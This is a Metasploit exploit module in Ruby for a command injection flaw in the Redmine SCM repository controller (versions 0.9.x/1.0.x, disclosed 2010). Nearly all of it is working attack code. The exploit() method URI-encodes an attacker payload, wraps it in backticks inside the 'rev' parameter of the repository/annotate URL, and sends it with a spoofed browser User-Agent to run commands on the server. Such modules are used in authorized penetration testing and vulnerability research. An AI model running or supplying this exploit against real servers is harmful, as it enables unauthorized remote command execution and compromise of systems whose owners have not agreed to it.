Redmine SCM Repository 0.9.x/1.0.x – Arbitrary Command Execution (Metasploit)
## # $Id: redmine_scm_exec.rb 11516 2011-01-08 01:13:26Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Redmine SCM Repository Arbitrary Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the Redmine repository controller. The flaw is triggered when a rev parameter is passed to the command line of the SCM tool without adequate filtering. }, 'Author' => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11516 $', 'References' => [ ['OSVDB', '70090'], ['URL', 'http://www.redmine.org/news/49' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Dec 19 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]), ], self.class) end def exploit command = Rex::Text.uri_encode(payload.encoded) urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") else print_status("No response from the server") end handler end end |